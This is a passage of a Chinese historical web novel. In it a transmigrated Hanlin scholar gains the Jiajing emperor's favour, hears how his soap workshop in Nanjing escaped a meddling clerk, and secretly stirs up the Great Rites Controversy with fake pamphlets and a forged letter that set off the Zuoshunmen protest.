无非是“尊王攘夷”、“正名分”、“寓褒贬”等传统论调,
虽稳妥,却也无甚新意。
皇帝听着,面色平静,
指尖偶尔划过书页,看不出喜怒。
轮到徐阶。
他持重沉稳,从《春秋》笔法谈到为君之道,
强调“仁德”与“纳谏”,
言辞恳切,不失风骨,
隐隐契合当下清流对皇帝的某种期盼。
皇帝微微颔首,未置可否。
林文霈机敏善辩,
则着重分析了几个著名的《春秋》案例,
剖析其中“礼”与“非礼”的界限,
学问是扎实的,
但听着总觉像是在为某种立场做铺垫。
皇帝目光微凝,似乎听进去了些。
终于,轮到了苏惟瑾。
他上前一步,躬身行礼,姿态谦卑,
声音清朗却不高亢:
“陛下垂询,臣谨奏浅见。
《春秋》之义,确如诸位先生所言,
首在‘尊王’。
然臣愚见,此‘尊王’,非仅尊位号,
更是尊其权,威其令,
使天下知雷霆雨露皆出君恩,莫敢不从。”
开场便巧妙地强调了“权”与“威”,
直戳皇帝此刻最敏感的心事。
嘉靖帝原本有些散漫的目光,
稍稍聚焦到他身上。
苏惟瑾继续道,语速平缓,如同学者探讨:
“昔孔子作《春秋》,乱臣贼子惧。
所惧者何?非惧刀笔之诛,
实惧其僭越之名被钉于史册,
永世不得翻身。
故《春秋》之威,
在于定名分、正视听,
使君权神圣不可侵犯,
此乃江山社稷稳固之基。”
“神圣不可侵犯”几字,他稍稍加重了语气。
超频大脑精准地选取着最能触动帝心的词汇。
皇帝的身体微微前倾了一些。
“然,”
苏惟瑾话锋一转,
似乎要开始辩证分析了。
“然,《春秋》亦非一味强调僵化之礼。
臣读至《春秋·昭公十一年》‘楚子虔诱蔡侯般杀之于申’篇,
见其记述楚灵王(字子虔)以会盟之名诱杀蔡侯,
虽合于‘讨贼’(蔡侯般曾弑父自立)之礼法形式,
然其行事诡诈,恃强凌弱,反令诸侯寒心,
失信于天下,终致其自身众叛亲离,社稷动荡;
而读《春秋·僖公二十一年》‘宋公、楚子、陈侯、蔡侯、郑伯、许男、曹伯会于盂’及后续‘楚人执宋公以伐宋’篇,
虽记载宋襄公恪守‘不鼓不成列’等古礼而在泓水之战败于楚,
然其‘迂腐’之行,正为《春秋》所讥,
反衬出当时欲图安定霸业,需审时度势,
变通务实,岂能完全拘泥于形式?
可见……”
他顿了顿,目光诚恳地望向皇帝,
仿佛只是在阐述一个学术发现:
“可见圣人所重之‘礼’,
其根本在于‘顺人心、安社稷’,
在于其内核精神,
而非完全拘泥于外在的、
古板的仪式形式。
若形式与精神本末倒置,
则为买椟还珠,非真知礼者也。”
“礼之大者,在顺人心、安社稷,
非拘泥古礼形式!”
这句话,如似一声编钟轻鸣,清晰地回荡在殿中。
两位老学士微微蹙眉,
觉得此论有些偏离正统,
却又一时抓不住错处。
徐阶眼中闪过思索,林文霈则略带惊讶。
而御座之上的嘉靖皇帝,目光骤然亮了起来!
他没有说话,但手指停止了敲击,
身体完全坐正了,紧紧盯着苏惟瑾。
这番话,简直像是为他内心那份不甘和挣扎量身定做的理论武器!
既高举“尊王”、“君权神圣”的大旗,
又为他试图变革“礼仪形式”(尊崇生父)的行为,
提供了无比冠冕堂皇的借口
——朕这不是违礼,
朕这是把握了“礼”的真正精神,
是为了“顺人心”(朕的心也是人心!)、“安社稷”!
而且,
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这是从《春秋》这等圣人经典中引申出来的道理,
是从状元郎口中说出的“学术见解”,
并非那些幸进之臣赤裸裸的讨好!
这比张璁、桂萼那些直接攻击杨廷和、鼓吹“继统不继嗣”的言论,
听起来高明多了,也顺耳多了!
嘉靖帝脸上依旧保持着帝王的矜持,
但微微颔首的动作,
以及眼中那一闪而过的赞赏与“深得朕心”的光芒,
却没有逃过苏惟瑾超频大脑的捕捉。
“苏修撰此解,倒是…颇有新意。”
皇帝缓缓开口,语气平淡,
却不再是最初那种纯粹的客套。
“于《春秋》微言大义,别有会心。
看来这状元之名,非虚士也。”
“陛下谬赞,臣惶恐。”
苏惟瑾立刻躬身,态度愈发谦卑。
“臣不过拾人牙慧,偶有所得,
妄逞口舌之利,实是班门弄斧。
圣学渊深,臣所言不过沧海一粟,
不当之处,恳请陛下与诸位先生指正。”
他完美地扮演了一个有才学、有见地,
却又谦虚知礼的年轻臣子形象。
既抛出了皇帝想听的东西,
又将姿态放得极低,
丝毫不显得咄咄逼人或谄媚邀宠。
皇帝满意地点了点头,不再多言,
但看向苏惟瑾的眼神,已然不同。
那是一种发现了有用、
且似乎很“知趣”的人才的眼神。
接下来的轮对,似乎都有些索然无味了。
皇帝的心思,显然已被苏惟瑾那番“别具会心”的解读所吸引。
待到日讲结束,众人躬身退出了文华殿。
殿外阳光刺眼。
徐阶走到苏惟瑾身边,低声道:
“玉衡兄今日所言,发人深省。”
语气中带着一丝复杂的探究。
林文霈也笑道:
“状元公就是状元公,
总能于寻常处见真知。”
苏惟瑾只是谦逊地笑笑:
“二位年兄过奖了,只是今日圣上垂询,
不敢不竭尽愚钝,胡乱言之罢了,当不得真。”
他心中却如明镜一般。
今日这番操作,精准无比。
既没有公然背叛清流价值观(他始终在讨论经典),
又极其隐晦而高效地向皇帝传递了支持信号,并提供了理论**。
那根名为“帝心”的弦,
已被他今日这番藏于经义诗文章句中的机锋,轻轻拨动。
余音虽微,却已足够在那位多疑又敏感的年轻皇帝心中,
留下一个深刻且极其良好的印象。
下一步,便是静待这余音发酵,
等待皇帝主动将这柄看似好用的“礼器”,握得更紧。
第156章 金陵来信显成长,皂坊小挫试牛
北京翰林院的清贵日子按部就班,
苏惟瑾于案牍经史、
微妙言辞间悄然布局,心思缜密,如棋手落子。
然他并未忘记远在金陵的根基
——那小小的“玉衡皂”工坊。
那不仅是财源,
更是他未来或许所需的民间耳目与退路之一。
这日散值归家,他修书一封,
遣人快马送往南京。
信中无非询问工坊近况,
销售几何,用料可足,
并再三叮嘱周大山,
金陵乃留都,权贵云集,
水深浪急,凡事需谨慎,
莫要强出头,遇事多思量,
宁可息事宁人,保全为上。
信使南下不过二十余日,回信便到了。
信是周大山托驿丞代笔的,字迹工整,
言辞却仍带着他那股子憨直气,
但又似乎多了些不同的东西。
“惟瑾兄弟台鉴:”
“信收到了,俺一切都好,膀子肉都没少一斤!工坊更是好得不得了!”
“你弄的那‘玉衡皂’,真神了!
现在南京城里,稍微讲究点的人家,
谁不说咱这皂子好用?
去污快,留清香,还不伤手!
铺子里都快卖疯了,
彭掌柜天天催着俺多招人、多开工!
银钱流水般进来,俺都按你说的,
大部分兑成银票收好了,
小部分留着周转。”
看到此处,苏惟瑾嘴角微扬,
超频大脑迅速将这部分信息归档
——“资金流健康,品牌效应初显”。
然而,信锋随即一转:
“不过,兄弟,还真让你说着了,真遇上麻烦了!”
“前些日子,突然有个户房的胥吏,
姓苟,獐头鼠目的,带人跑来工坊,
东瞅西看,吹毛求疵。
最后硬说咱制皂用的几种油料‘来源不明’,
恐是私贩或是劣货,
要查封咱的库房,还要提俺去问话!”
“俺当时火气‘噌’就上来了,
拳头都攥紧了,真想给他那鼠脸上来一下!
但猛地就想起你信里总叮嘱俺‘遇事多用脑,别光用膀子’。”
看到这,苏惟瑾几乎能想象出周大山当时梗着脖子、强压怒气的模样,不由轻笑摇头。
信接着写道:
“俺就硬生生把火气压下去了,
赔着笑脸(俺觉得自己笑得比哭还难看),
请那苟胥吏高抬贵手,塞了点茶钱,
他才哼哼唧唧地先走了,
但说明儿还来。”
“他走后,俺没傻等着。
俺记得你说过,
‘阎王好见,小鬼难缠,小鬼**,多半是阎王默许,
或者…另有饿鬼给塞了骨头’。”
“俺就让机灵的小伙计去打听。
果然!是城南那家‘刘记皂坊’的刘老抠指使的!
看咱生意好,眼红了!
那苟胥吏是他远房侄女婿的连襟!”
“俺一听,更气了!
但俺记住了,‘用脑’!
俺又让小伙计去打听,
那苟胥吏在户房归哪个老爷管?
那老爷跟刘老抠关系咋样?”
“这一打听,可让俺打听出乐子来了!
管着苟胥吏的那位王书办,
嘿,跟刘老抠早些年因为争一处铺面有过节,心里膈应着他呢!”
苏惟瑾眼中露出赞许之色。
周大山这番操作,颇有章法,已非吴下阿蒙。
“俺一想,有门儿!
俺自己不好直接去找王书办,
就赶紧去找了彭久亮彭掌柜。
彭掌柜到底是老生意人,
场面上的事门清。
俺俩一合计,没提你状元的名头(怕给你惹麻烦,也怕太招摇),
就让彭掌柜出面,
假托是‘京城某位老爷’关照的生意(俺这也不算完全说谎哈),
请王书办喝了次茶,
送了点南京时兴的绸缎料子。”
“彭掌柜回来跟俺学,
说那王书办开始还拿腔拿调,
一听‘京城老爷’,又收了礼,脸色就好多了。
彭掌柜就‘无意间’抱怨了两句,
说下面有个姓苟的胥吏,
不知受了谁蛊惑,总来刁难,
影响‘京城老爷’的进项…”
“你猜咋着?
没过两天,那苟胥吏就被调去管江边码头仓库的登记了!
风吹日晒,可比在城里跑腿苦多了!哈哈!”
“刘老抠傻眼了,再没敢动弹。
咱工坊现
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在清静得很,使劲生产!”
信的最后,周大山的语气又恢复了那种朴实的兴奋和一点点的小得意:
“兄弟,你看俺这事儿办得咋样?
没给你丢人吧?
没傻乎乎地跟人动手吧?
俺现在也觉得,有时候动动脑子,
是比动拳头好使哈!”
“你在京城好好的,别惦记这边,有俺呢!
银票俺保管得妥妥的,等你吩咐!”
“兄弟周大山顿首”
放下信纸,苏惟瑾脸上露出了由衷的笑意。
这憨货,是真的长进了!
不仅能打探消息,还能分析关系,
更能巧妙地借力打力,知道隐藏底牌,
利用官场内部矛盾来解决问题。
这番操作,虽算不上多么精妙绝伦,
却务实有效,完全超出了他对周大山的预期。
苏惟瑾欣慰的将此事记录归档:
1.产业状况:玉衡皂需求旺盛,盈利能力强,运营良好。
2.人员成长:周大山展现出独当一面的潜力,
具备一定的情报收集、分析能力和处事手腕(虽略显粗糙)。
彭久亮可作为外围商业代理人。
3.环境风险:商业竞争存在,地方胥吏阶层是需要持续打点与警惕的对象。
4.策略有效性:“借势”(借王书办的势)与“信息差”(虚构的京城老爷)策略在地方层面同样适用。
后方稳固,人才渐显,
这让苏惟瑾更能安心地在京城的波谲云诡中筹谋。
他提起笔,给周大山回信,
先是肯定了他的做法,
赞扬他“处事愈发老练,
已有大将之风”,
随后再次强调谨慎的重要性,
并暗示可将部分利润用于进一步巩固与王书办等底层吏员的关系,
“不必吝啬小财,平安畅通为上”。
他知道,周大山这柄钝刀,
正在现实的磨砺下,渐渐开出锋刃。
未来或可成为他手中一柄可靠的利器。
而南京的那间皂坊,
也不再仅仅是一个财源,
更悄然成了一个微小却有效的信息节点和人才试炼场。
京城的风云与金陵的烟火,通过一封书信,悄然连为一体。
第157章 风声渐鹤唳,矛盾加速燃
北京的盛夏,
紫禁城的红墙绿瓦被烈日烤得发烫,
但比天气更燥热的,是京城官场的人心。
一股无形的低压笼罩着六部衙门、
翰林院乃至各条胡同的官员府邸,
压得人喘不过气,
却又隐隐透着一种山雨欲来的兴奋与恐惧。
**,依旧是那烧了近两年的“大礼议”。
自苏惟瑾那日在文华殿“别具会心”地阐释了《春秋》“尊王”与“礼之本”后,
类似论调仿佛一夜之间找到了理论依据和勇气,
开始在非清流的圈子里悄然流传、发酵。
当然,没人会明说是受了新科状元的启发,
但那套“重实质轻形式”、
“君权神圣当顺承天意人心”的说法,
却精准地搔到了嘉靖皇帝和议礼新贵们的痒处。
张璁、桂萼等人的奏疏,
愈发大胆直接,
不再仅仅纠缠于“继统”与“继嗣”的辩经,
开始引据(甚至曲解)更多经典,
矛头暗指杨廷和等旧臣“拘泥古礼,
蔽塞圣听,有违为臣之道”。
宫中司礼监的一些大珰,
态度也似乎越发暧昧,
递送奏疏、传话引见时,
对议礼派的阻力明显小了许多。
流言更是如同京城夏日沟渠里的孑孓,疯狂滋生。
“听说了吗?陛下昨日又召见张璁,密谈至深夜!”
“何止!宫里传出的消息,
陛下对着杨阁老的奏本,气得摔了茶杯!”
“岂止摔杯?我看杨阁老…
唉,恐难得善终啊…”
“最新消息!
有人已拟好章程,
要请陛下尊兴献王为‘皇考恭穆献皇帝’了!这简直…”
“嘶——!这…这是要彻底掀桌子啊!”
茶馆酒肆、衙门廨舍,
甚至下朝的路上,
官员们交头接耳,神色各异。
清流一派,多是忧心忡忡,满面激愤。
“荒谬!荒谬绝伦!”
翰林院里,一位素以刚直著称的老编修,
气得胡子直抖,对着几位同僚低吼道:
“‘皇考’之称,岂能轻予藩王?
此例一开,礼法何存?
纲常何在?我等读圣贤书,岂能坐视不言?”
他目光扫过在场众人,
尤其在一些年轻翰林脸上停留,
试图寻找认同与支持。
徐阶面色凝重,沉默不语,
只是手指无意识地捻着官袍的袖口。
林文霈则微微冷笑:
“跳梁小丑,仗着圣眷,沐猴而冠罢了!
我等煌煌正道,岂惧邪说?”
话虽硬气,眼底却藏着一丝不易察觉的忧虑
——陛下心意似乎越来越坚决了。
更多资历深些的官员,则显得“稳重”得多。
某部堂衙门里,一位侍郎大人端着青瓷盖碗,
吹开浮沫,慢条斯理地对围坐的下属们说道:
“此事啊,复杂,甚复杂。
杨石斋(杨廷和)公自然是一片忠心,为江山社稷计。
然则…圣意难违啊。
况且,张、桂之论,就真的一无是处吗?
也未必。
关乎天家礼法,还是…再看看,再看看。”
他语焉不详,眼神闪烁,
既不想得罪清流座师同年,
又不敢明着违逆似乎日渐明朗的圣意,
更怕站错队毁了前程。
只能这般和稀泥,试图左右逢源。
另一位都察院的老御史,
则更是油滑,私下对心腹道:
“让那帮年轻的先去闹!
他们功名浅,热血盛,正好上去试试水深水浅。
我等且在后头看看风色,
若势头对了,再附议不迟;
若是不对…那也是他们年少冲动,
与吾等老成持重之辈何干?”
典型的怂恿别人当出头鸟,
自己躲在后面摘果子或撇清干系。
在这片诡异的氛围中,
新科进士们,尤其是身处翰林的苏惟瑾、徐阶等人,
更是感受到了无形的压力。
他们资历最浅,位置却清贵,
显然置身于风暴眼的边缘,
随时可能被卷入。
有人试图来探苏惟瑾的口风,
毕竟他圣眷正浓,又曾有过那番“高论”。
“玉衡兄,近日风波愈演愈烈,
不知兄台有何高见?”
一位同样是庶吉士的同年,
凑过来低声问道,眼神里充满了打听和试探。
苏惟瑾放下手中正在校勘的《武宗实录》稿本,
目光平静如水,淡淡道:
“雷霆雨露,莫非天恩。
我等臣子,恪尽职守,秉笔直书,
做好分内之事便是。
至于庙堂大议,自
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有阁部元老、科道言官操心,
岂是我等微末小臣可妄议的?”
他这话说得滴水不漏,
既表达了对皇帝的服从(雷霆雨露莫非天恩),
又强调了自己立足本职(恪尽职守,秉笔直书),
还将决策权推给了上层(阁部元老),
完全是一副谦逊守礼、不逾矩的年轻官员模样。
那同年听了,似懂非懂,觉得有理,
又觉得什么都没问出来,只得讪讪而去。
徐阶也遇到了类似情况,
他的回应更为持重:
“礼之大者,国之干也。
自有古制可循,公论可断。
惟静待朝议,恪守臣节而已。”
依旧是稳妥的守旧派立场,
但语气已不似之前那般绝对。
超频大脑如同最精密的雷达,
扫描、分析着每一丝信息流。
苏惟瑾清晰地看到:
清流官员的奏疏雪片般飞入大内,
言辞越来越激烈,
甚至开始出现“谄媚君上”、
“坏法乱纪”等直接攻击张璁等人的字眼,**味浓得刺鼻。
而皇帝的反应,据零星传出的消息,
是愈发不耐烦,对杨廷和的奏本留中不发,甚至数次严辞批回。
双方的情绪都在走向极端,
妥协的空间被迅速压缩。
那根绷紧的弦,已经发出了令人牙酸的呻吟,随时可能断裂。
“火候快到了。”
苏惟瑾在心中默语。
他知道,那只无形的手(包括他自己那点微小的推力)正在慢慢地将矛盾推向一个临界点。
一场巨大的风暴即将爆发,
而这,对于冷眼旁观、
并早已通过超频大脑推演出多种可能性的他来说,
既是巨大的风险,也蕴藏着巨大的机遇。
他依旧每日准时到翰林院点卯,
埋首于故纸堆中,神情专注而平和,
似乎外界的一切纷扰都与他无关。
但只有他自己知道,大脑正在高速运转,
不断调整、完善着接下来的应对策略,等待着那一声预料之中的惊雷。
朝堂之下,暗流汹涌,权力博弈的棋盘上,
棋子们已被情绪、利益和理念驱动着,走向命定的碰撞。
而那位最年轻的棋手,已悄然布好了属于自己的几步暗棋。
山雨,已灌满楼阁。
第158章 暗流借风势,薪柴添猛火
京城里的空气越发粘稠,
仿佛打个火星就能点燃。
清流们愤懑,新贵们躁动,
中间派们惶惶不可终日,
都在等着那最终摊牌的时刻。
然而,苏惟瑾的超频大脑冷静地评估着局势:
火候还差一点。
清流们的愤怒更多是士大夫阶层的“义愤”,
尚未彻底转化为那种破釜沉舟、不计后果的冲动。
需要更强烈的刺激,
需要把“道理之争”变成“尊严之战”,
需要让那些最重脸面的清流大佬们觉得,
对方不仅是要赢,
更是要把他们的脸面踩进泥里摩擦。
是夜,苏惟瑾的小院书房灯烛未熄。
他并未唤小奇伺候笔墨,
而是单独叫来了苏惟山。
如今的苏惟山,经历京城历练,
虽依旧憨直,但眼神里已多了几分机警和沉稳。
“惟山,交给你一桩事,需做得极其隐秘,滴水不漏。”
苏惟瑾声音压得极低,神色是从未有过的严肃。
苏惟山心中一凛,腰板挺直:
“瑾哥儿你说,俺保证烂在肚子里!”
“你明日去外城,
寻那些刚流落至京的逃难户,
或是无根无基、给几个铜板就敢撒腿跑的小乞儿。
要生面孔,机灵,但又不至于精明过头。”
苏惟瑾递过一个小而沉的钱袋。
“让他们散些小册子、
抄了些字的纸片出去。
地点嘛…国子监外墙根、
几家清流官员常去的茶馆附近、
还有吏部、礼部衙门外人多的街口。”
苏惟山接过钱袋,
手心感到银钱的重量,
心中更觉任务重大:
“散什么册子?”
苏惟瑾从书案下取出薄薄一叠粗糙的纸张,
上面的字迹歪歪扭扭,
像是刻意模仿粗人笔迹,
内容更是让他一看就瞪大了眼:
“惊世之言!皇上圣明烛照,
岂是酸腐老儒能懂?”
——“说什么礼仪祖制?
皇上是真龙天子!
想认谁当爹就认谁当爹!
龙王爷的事,轮得到泥鳅指手画脚?”
“彻底掀翻旧礼!这才是真孝道!”
——“俺们乡下人都知道,亲爹就是亲爹!
那帮官老爷逼着皇上管叔父叫爹,安的什么心?
莫非自家爹娘死得早,见不得别人尽孝?”
“支持张大人、桂大人!他们是青天大老爷!”
——“看看人家张大人说的多明白!
句句在理!
哪像那帮老倌,就会抱着死书本嚎叫!
我看他们是怕新人上来,占了他们的茅坑!”
文字粗鄙,逻辑混乱,极尽煽动之能事,
通篇充斥着对清流官员的辱骂和极其露骨、
甚至夸张到愚蠢的“支持”皇帝与议礼新贵。
苏惟山看得脸都红了,
不是气愤,是替写这东西的人感到害臊:
“瑾哥儿,这…
这玩意儿也太…埋汰人了!
这撒出去,不是给张大人他们招黑吗?”
苏惟瑾嘴角勾起一丝冷冽的弧度:
“要的就是这个效果。
记住,找的人必须可靠,散完即走,绝不逗留。
若被人抓住问起,
就说是路上有人给钱让散的,
对方长什么样、哪里口音,一概不知。
银钱分几次给,莫要一次给太多惹眼。”
苏惟山恍然大悟,用力点头:
“俺明白了!
这是给那帮清贵老爷们上眼药呢!
让他们看看‘支持’皇上的人都是啥货色,逼他们急眼!”
“去吧,做得干净些。”
苏惟瑾挥挥手。
翌日,北京外城的几个城门附近,
一些面带菜色、
眼神闪烁的逃难户怀里揣着几文钱和一小卷纸,钻进了人流。
一些半大的乞儿,
像泥鳅一样在街巷间穿梭,
偶尔将揉皱的纸团塞到某处墙角、门缝,
或是“不小心”遗落在茶馆桌下。
起初,并未掀起太大波澜。
拾到的人或许嗤笑一声,
骂句“哪个混账东西胡吣”,便随手丢弃。
但架不住数量多了起来。
国子监外,一个监生皱眉捡起一张,
读了两行,气得浑身发抖,一把撕碎:
“无耻!斯文扫地!真是斯文扫地!”
他周围几个同窗围上来,
看了碎片上的内容,无不义愤填膺。
某清流官员常去的“清茗轩”茶馆,
一位休沐的御史正在与人低声议论朝局,
忽觉脚下一硌,拾起一看,顿时脸色铁青,
将那张纸拍在桌上:
“岂有此理!欺人太甚!
彼辈竟敢如此辱及士林,藐视公议!”
纸上的内容迅速在清流圈子里传开。
起初是愤怒,觉得这是议礼新贵们卑劣的手段,
意图用这种下三滥的方式污蔑、激怒他们。
“定是张璁、桂萼那
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两个奸佞小人指使的!
自己不敢正面论理,使出此等宵小手段!”
一位老翰林气得胡子乱颤。
“正是!如此粗鄙不堪之文,非读书人所为!
必是那等幸进之徒,欲乱我等心神!”
愤怒之中,夹杂着被羞辱的强烈感觉。
他们自诩清流,堂堂正正,
如今却被这种市井无赖般的语言攻击,
仿似珍馐美馔旁突然出现了一坨臭狗屎,恶心又愤怒。
这种情绪迅速发酵,原本还有些克制的言论变得激烈起来。
奏疏上的用词不再是单纯的劝谏,
开始出现“群小煽惑”、“蛊惑圣心”、“士林之耻”等更具攻击性的字眼。
私下聚会时,更是群情激昂。
“我辈读圣贤书,所为何事?
如今彼辈以粪土掷我,岂能再默不作声?”
“此非独礼仪之争,实是君子与小人之战!断不容退!”
“杨阁老!此事绝不能善罢甘休!必须让陛下看清彼等真面目!”
火,被彻底点燃了。
清流们的情绪从“维护礼法”迅速升级为“捍卫尊严”,
一种与“小人”不共戴天的决绝氛围弥漫开来。
他们觉得对方已经撕破脸,
用了最下作的手段,那自己还有什么可顾忌的?
而此刻,张璁、桂萼等人也是一头雾水,
他们确实在积极推动议礼,
但也觉这等粗鄙手段太过愚蠢,
徒惹笑柄,反而授人以口实,
私下也在查探是谁如此“帮倒忙”。
皇帝听闻市井流言,皱了皱眉,
觉得支持者的素质未免有些不堪,
但转念一想,这或许也说明了“民心所向”?
(尽管这“民心”看起来有点蠢)对清流们愈发激烈的反应,
则更是不耐,觉得他们小题大做,气量狭小。
苏惟瑾坐在翰林院值房,
窗外蝉鸣聒噪。
他听着同僚们压抑着愤怒的低声议论,
感受着空气中几乎要凝成实质的紧张感,
面无表情地翻过一页书稿。
超频大脑平静地反馈着信息:
**刺激已到位,清流情绪阈值已突破临界点,
矛盾已从理念对立升级为情绪对抗。
预计冲突爆发节点将大幅提前。
他端起已经微凉的茶,轻轻呷了一口。
风已满楼,接下来,只待那惊雷劈下。
而他,已为自己选好了最安全、又能最大限度攫取利益的位置。
第159章 左顺门骤变,事件提前爆
嘉靖二年的六月,
北京城像个巨大的蒸笼,闷热难当。
然而,比暑气更让人心焦的,
是那股在官场不断积聚、
已达临界点的**高压。
苏惟瑾匿名散播的那些粗劣谤书,
如同滴入滚油里的冷水,
已在清流士大夫群体中炸开了锅,
将他们的**感和愤怒值推向了顶峰。
时机已然成熟,只差最后那根足以压垮骆驼的稻草。
这日清晨,一份没有署名、笔迹刻意扭曲的密信,
通过一个看似偶然的途径(一个被买通的小吏“不小心”遗落在某位以刚烈闻名的御史书房门口的公文堆里),
被送到了都察院一位姓何的御史手中。
信中内容极其简短,却字字如惊雷:
“内廷确讯,陛下已决意,
三日内下诏,去‘本生’二字,
尊兴献皇帝后不加‘本生’之称。
诸公多年坚持,顷刻覆矣。
哀哉!痛哉!”
“去本生”!
这意味着皇帝将不再承认孝宗为唯一的皇考,
将自己的生父兴献王抬到与正统皇帝同等地位,
这是对现行礼法体系的彻底颠覆,
是清流们绝对无法接受的最终底线!
何御史看到此信,只觉得眼前一黑,
气血翻涌,差点晕厥过去。
他丝毫不疑有假
——近期的种种迹象,
皇帝的冷淡、张璁等人的嚣张、市井间那些恶毒的谤书,
无不指向这个最坏的结果!
这一定是对方在发动总攻前最后的试探和侮辱!
他几乎是踉跄着冲出值房,
也顾不得仪态,
第一时间找到了几位志同道合的激进同僚,
又将消息紧急传递给了清流领袖人物之一的杨慎(杨廷和之子)。
“欺人太甚!欺人太甚!”
杨慎本就因父亲杨廷和近来承受的巨大压力而心绪不宁,
得知此“确讯”,顿时勃然大怒,双目赤红。
“彼辈真当我辈士林无人乎?
竟欲行此绝灭礼法之事!
此乃**之兆!我等岂能坐视?!”
最后的理性枷锁,崩断了。
压抑了近两年的怒火、**、
焦虑和对礼法信念的执着,
在这一刻被这封来历不明却“恰到好处”的密信彻底点燃,
胜如火山般喷发而出!
“诸君!国朝养士百五十年,
仗节死义,正在今日!”
杨慎振臂一呼,声音因激动而嘶哑。
“正当如此!”
“同去!同去!”
“叩阙!死谏!”
消息像野火一样在清流官员中蔓延。
无需过多组织,
一种悲壮而狂热的情绪驱使着他们。
从六部衙门、翰林院、都察院、国子监…
一道道穿着青色、绿色、绯色官袍的身影,
面色凝重,眼神决绝,
似如溪流汇入江河,
向着皇城宫阙的方向涌去。
他们的目标明确——左顺门!
这是官员等候召见或上疏的重要宫门,
在此跪谏,最能直达天听!
苏惟瑾正在翰林院编修厅内,
看似专注地校对着书稿。
超频大脑却如同最高效的监控中心,
接收并处理着苏惟山通过特定方式断续传来的外界信息流:
“杨修撰匆匆出院,面色铁青…”、
“何御史等人**,往东华门方向…”、
“国子监监生异动…”
他心中默数着时间,计算着事件发展的速度。
忽然,窗外隐约传来喧哗之声,
起初微弱,继而变得清晰,
那是无数人汇聚而成的声浪,
夹杂着悲愤的哭嚎和激昂的呐喊,
自东华门、左顺门方向传来,
竟穿透了重重宫墙!
厅内其他翰林也听到了,
纷纷惊疑不定地抬起头,侧耳倾听。
“外面何事喧哗?”
“似是…左顺门方向?”
“不好!莫非…”
众人脸色骤变,已有心思灵动者猜到了几分,顿时坐立不安。
苏惟瑾放下笔,走到窗边,遥望那声音传来的方向。
他的表情与其他人的惊惶疑惑不同,
是一种极致的冷静,
仿似在观察一场早已推演过无数次的实验。
成了。
历史,在他这只蝴蝶翅膀的扇动下,
硬生生被提前了近一年!
原本应在嘉靖三年七月爆发的左顺门事件,
在这嘉靖二年六月,轰然引爆!
左顺门外,景象惊人。
数以百计的官员跪满了宫门前的广场,绯青一片。
他们摘下官帽,匍匐于地,
放声痛哭,哭声震天动地。
“陛下!不可啊!礼法纲常,
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国之根本,岂可轻废!”
“祖宗之法不可变!陛下三思!”
“臣等宁死不敢奉诏!”
“奸佞蛊惑圣心,臣等请清君侧!”
杨慎跪在最前方,额头抵着冰冷的青石板,
泪流满面,声音嘶哑却依旧奋力高呼:
“《礼记》有云:‘礼,经国家,定社稷,序民人,利后嗣者也!’今日若废此礼,
国将不国!臣等唯有以死谏之!”
声浪一波高过一波,悲壮惨烈之气弥漫开来,
引得宫墙上的侍卫们都面面相觑,神色紧张。
紫禁城内,乾清宫。
嘉靖皇帝朱厚熜正在批阅奏章,
忽被外面隐隐传来的巨大声浪惊动。
“外面何事喧哗?”
他皱眉问道,心中已升起一股不祥的预感。
贴身太监黄锦连滚爬爬地进来,脸色煞白,噗通跪下:
“万…万岁爷…不好了!
左顺门外…杨慎、何鳌等大批官员跪了一地,哭嚎不止,说…说…”
“说什么!”
嘉靖帝厉声道,手中的朱笔猛地顿在奏章上,染红了一大片。
“说陛下若要去‘本生’之称,
他们便…便跪死在那里!”
黄锦吓得浑身发抖。
“混账!”
嘉靖帝猛地站起,胸膛剧烈起伏,
脸色瞬间变得铁青。
他虽然料到清流会反对,
却万万没想到他们会用如此激烈、
近乎逼宫的方式,
而且来得如此之快,如此之突然!
一股被挑衅、被胁迫的暴怒瞬间冲昏了他的头脑。
但他毕竟初登大宝不久,
尚存最后一丝理智,知道直接动用锦衣卫**后果难料。
他强压下立刻下令拿人的冲动,咬牙切齿道:
“传!即刻传张璁、桂萼、席书觐见!快!”
他需要立刻见到他的“自己人”,
需要有人为他出谋划策,
需要有人坚定他的意志,
更需要有人来承担这份“逼反”群臣的后果!
风暴,已毫无征兆地提前降临。
而这场风暴的幕后推手,
此刻正安然立于翰林院的窗边,
冷静地评估着风向与流速,
准备着下一步的落子。
左顺门的哭声穿越宫墙,
预示着大明王朝一场空前激烈的君臣对峙,
正式拉开了血腥的帷幕。
第160章 帝怒欲严惩,新贵献策忙
左顺门外的哭嚎声浪,
如同滚烫的岩浆,
一波波冲击着紫禁城森严的宫墙,
更狠狠灼烧着乾清宫内年轻皇帝的尊严。
嘉靖帝朱厚熜在御案后来回踱步,
脸色铁青,胸膛因暴怒而剧烈起伏,
那象征至高权力的龙袍,
此刻仿佛也束缚不住他即将喷发的雷霆之怒。
“反了!都反了!”
他猛地停下,抓起案上一份奏章,
看也不看便狠狠掼在地上,纸页纷飞。
“跪宫逼谏!以死相胁!
他们眼里还有没有朕这个皇帝!
这大明江山,是朱家的还是他们文官的?!”
殿内侍立的太监宫女早已跪伏一地,
瑟瑟发抖,大气不敢出。
御前大珰黄锦更是额头紧贴金砖,
冷汗浸透了后背的衣裳。
天子一怒,伏尸百万,
他们这些近侍最先感受到那令人窒息的威压。
“张璁、桂萼他们呢?!怎么还没到!”
嘉靖帝的声音因愤怒而尖利,
目光扫向殿门,像极了困兽,急需爪牙前来助阵。
“回…回万岁爷,已派人急召,
想必…想必就在路上了…”
黄锦颤声回答,声音几乎带了哭腔。
就在这令人窒息的等待中,
殿外终于传来急促的脚步声。
张璁、桂萼、席书三人几乎是跑着进来的,
官帽都有些歪斜,额头上满是细汗,
显然是一路疾行而来。
左顺门那震天的动静,
他们在外朝已有耳闻,
心知出了大事,此刻见到皇帝如此情状,
更是心下凛然,连忙跪倒:
“臣等叩见陛下!”
“看看!你们都看看!”
嘉靖帝指着殿外方向,手指都在微微颤抖。
“这就是朕的好臣子!
这就是口口声声忠君爱国的士林清流!
聚众宫阙,哭嚎逼宫!
他们想干什么?
是要逼朕退位吗?!”
张璁率先抬头,他本就是激进派,
此刻见皇帝盛怒,心中反而一喜,
觉得这是彻底击垮对手的绝佳机会,
立刻慷慨陈词:
“陛下息怒!
此等行径,绝非忠臣所为,
实乃目无君父,结党抗命,形同叛逆!
杨慎、何鳌等人,自恃清流,藐视天威,
竟敢以如此方式胁迫陛下,其心可诛!
臣请陛下即刻下旨,命锦衣卫拿人,严惩不贷!
首恶必诛,以儆效尤!
如此方能彰显陛下威严,震慑宵小!”
他的话狠辣直接,
充满了快意恩仇的报复意味,
却也只是停留在“抓人”、“**”的层面。
